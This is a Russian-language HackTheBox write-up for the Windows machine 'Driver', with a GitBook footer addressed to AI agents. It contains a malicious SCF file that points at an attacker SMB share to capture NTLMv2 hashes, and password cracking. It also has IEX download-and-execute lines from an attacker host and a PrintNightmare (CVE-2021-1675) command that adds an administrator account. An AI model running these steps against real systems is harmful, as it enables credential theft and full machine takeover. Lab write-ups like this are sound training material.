> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/driver-hackthebox-writeup.md).

# Разбор Driver на HackTheBox

{% embed url="<https://app.hackthebox.com/machines/387>" %}

{% hint style="warning" %}
**Навыки:**

* Подбор пароля
* Вредоносный SCF-файл
* Локальное повышение привилегий через Print Spooler (PrintNightmare) (CVE-2021-1675]
  {% endhint %}

## Разведка

**Настройка рабочей среды:**

Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

<figure><img src="/files/c3cd0358bbca219cbfe2712493845eb74e4a3c2c" alt="" width="563"><figcaption></figcaption></figure>

**Проверка подключения VPN**

Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

<figure><img src="/files/6e095511611ff616438cbc1982146347affaf786" alt="" width="563"><figcaption></figcaption></figure>

**Обнаружение открытых портов с помощью Nmap:** Исследование открытых портов и экспорт в файл "allPorts" в каталоге Nmap:

```bash
nmap --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.106 -oG allPorts
```

<figure><img src="/files/5c1850cad97328b7bb7aa4400e6fa7737bdb2de3" alt=""><figcaption></figcaption></figure>

**Анализ открытых портов с помощью extractport:**

Использование функции extractport для компактного отображения открытых портов и копирования их в буфер обмена.

<figure><img src="/files/d454984a06fe95d7e6bdce6bf8dc92fce197e644" alt="" width="563"><figcaption></figcaption></figure>

**Сканирование версий портов с помощью Nmap:** Использование Nmap для сканирования версий портов и извлечения информации в файл "targeted":

```bash
nmap -sCV -p80,135,445 -oN targeted
```

<figure><img src="/files/e12db44033c4da8d9a811b989b753f727e0cb3c1" alt=""><figcaption></figcaption></figure>

Чтобы разрешить доменные имена в IP-адреса через DNS, доменное имя, связанное с его IP-адресом, вставляется в `/etc/hosts` файл:

<figure><img src="/files/7a840db747ce0d12f9e919ad88dda0bbdfed9133" alt="" width="563"><figcaption></figcaption></figure>

### Анализ порта 80:

На порту 80 размещён веб-сервер с панелью подключения.

<figure><img src="/files/87d9240c20019fbd575212dc83ee29211dd8af85" alt=""><figcaption></figcaption></figure>

При анализе с помощью **WhatWeb** определяется имя пользователя по умолчанию: `admin`.

<figure><img src="/files/e1dced67d767abb88e3e4804327384dd1d078fc8" alt=""><figcaption></figcaption></figure>

Попытка подключиться к `admin:admin` в качестве идентификатора.

### Центр обновления прошивки MFP:

<figure><img src="/files/f2799dbc529ec5272135ffc8477adbf9b9c13796" alt=""><figcaption></figcaption></figure>

Сайт предлагает вариант загрузки прошивки. Сообщение указывает:

> Выберите шаблон принтера и загрузите соответствующее обновление прошивки в наш файловый ресурс. Наша команда тестирования вручную просмотрит загрузки и скоро начнёт тестирование.

<figure><img src="/files/8a5b67520dfcea8b6d493fb93009e023452bd737" alt=""><figcaption></figcaption></figure>

## Эксплуатация — вредоносный SCF-файл:

Создание вредоносного `.scf` файла для захвата NTLMv2 пользователя при его открытии:

```
[Shell]
Command=2
IconFile=//10.10.14.7/smbFolder/pentestlab.ico
[Taskbar]
Command=ToggleDesktop
```

Прослушивание с помощью **impacket** для захвата NTLMv2:

```bash
impacket-smbserver smbFolder $(pwd) -smb2support
```

Захват хэша NTLMv2 для пользователя `tony`.

<figure><img src="/files/82925879d62ef521618e75e7ee0189f473e300fb" alt=""><figcaption></figcaption></figure>

Взломайте хэш NTLM с помощью **John**:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`tony:liltony`

<figure><img src="/files/2b9ddb3f92589922676c8f054f2e201a498932d6" alt=""><figcaption></figcaption></figure>

## Подключение по SMB и WinRM:

**Проверка доступа** с помощью CrackMapExec:

```bash
crackmapexec smb 10.10.10.106 -u 'tony' -p 'liltony'
```

<figure><img src="/files/6ebf3233713fe34079cb3f611729ab51dbe2059d" alt=""><figcaption></figcaption></figure>

/*/* WinRM/*/* подключение с помощью CrackMapExec:

```bash
crackmapexec winrm 10.10.11.106 -u 'tony' -p 'liltony'
```

<figure><img src="/files/15eb19dc46f1b3bb820562f595fe87963c21ce7f" alt=""><figcaption></figcaption></figure>

**Получение контроля с помощью Evil-WinRM**:

```bash
evil-winrm -i 10.10.11.106 -u 'tony' -p 'liltony'
```

<figure><img src="/files/efeb9e323c6bd89f7e60a9ceff2f335d48c6f662" alt=""><figcaption></figcaption></figure>

### Флаг user.txt:

<figure><img src="/files/efeb9e323c6bd89f7e60a9ceff2f335d48c6f662" alt=""><figcaption></figcaption></figure>

## Повышение привилегий:

### **1. Перечисление с помощью PowerUp:**

* Загрузка **скрипта PowerUp.ps1** на атакующую машину и добавление `команды Invoke-AllChecks` в конце для запуска всех проверок.

{% embed url="<https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/dev/Privesc/PowerUp.ps1>" %}

Передача скрипта на машину жертвы через Python HTTP-сервер:

```bash
python3 -m http.server 80
```

Выполнение на целевой машине:

```powershell
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/PowerUp.ps1')
```

> **Результат**: Ничего подходящего не найдено.

<figure><img src="/files/bc4bff1571f266b1610df8305a851b4c14abf311" alt=""><figcaption></figcaption></figure>

### **2. Перечисление с помощью winPEAS:**

{% embed url="<https://github.com/peass-ng/PEASS-ng/releases/tag/20241101-6f46e855>" %}

Передача инструмента **winPEASx64.exe** на машину жертвы:

`upload winPEASx64.exe`

<figure><img src="/files/ef1fd8b126859b0eb8aa6b307290c75f61b12261" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/d918ede18cc1c39e216acdb7aaa2d61e43fbeda4" alt=""><figcaption></figcaption></figure>

## **Эксплуатация PrintNightmare (CVE-2021-1675)**

Обнаружен уязвимый **процесс spoolsv** прослушивающий TCP-порт.

<figure><img src="/files/bc0b008af5e791000b1ef9b877dd4000b3984cb9" alt=""><figcaption></figcaption></figure>

Использование эксплуатационного скрипта для PrintNightmare, доступного на GitHub.

{% embed url="<https://github.com/calebstewart/CVE-2021-1675>" %}

<figure><img src="/files/2243a5511cd627001b18901f930294fa84f545d5" alt=""><figcaption></figcaption></figure>

Вот команды для выполнения:

1. **Передача скрипта** чтобы избежать блокировки Windows Defender:

```powershell
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/CVE-2021-1675.ps1')
```

2. **Создание пользователя администратора** с именем `jordan`:

```powershell
Invoke-Nightmare -DriverName "Xerox" -NewUser "jordan" -NewPassword "jordan1234!$" 
```

<figure><img src="/files/188a08ccaadcaaa03ffd5984d7a25c7eeed5d395" alt=""><figcaption></figcaption></figure>

`jordan:jordan1234!$`

> **Статус**: `jordan` пользователь теперь в группе администраторов.

<figure><img src="/files/97ead9f8db512c3f45680f6e692104b5aa04a050" alt=""><figcaption></figcaption></figure>

### Подключение с правами администратора

Подключение к машине через WinRM с **Evil-WinRM**:

```powershell
evil-winrm -i 10.10.11.106 -u 'jordan' -p 'jordan1234!$'
```

<figure><img src="/files/d939113a90bf9978ae351fba390fa217662c15c6" alt=""><figcaption></figcaption></figure>

### Флаг root :)

<figure><img src="/files/96e2600a90afc21f0edcbc33701b4f646e2f8c92" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/16dd524d7ad2d7d5148dc1b9a730faea49518243" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/driver-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
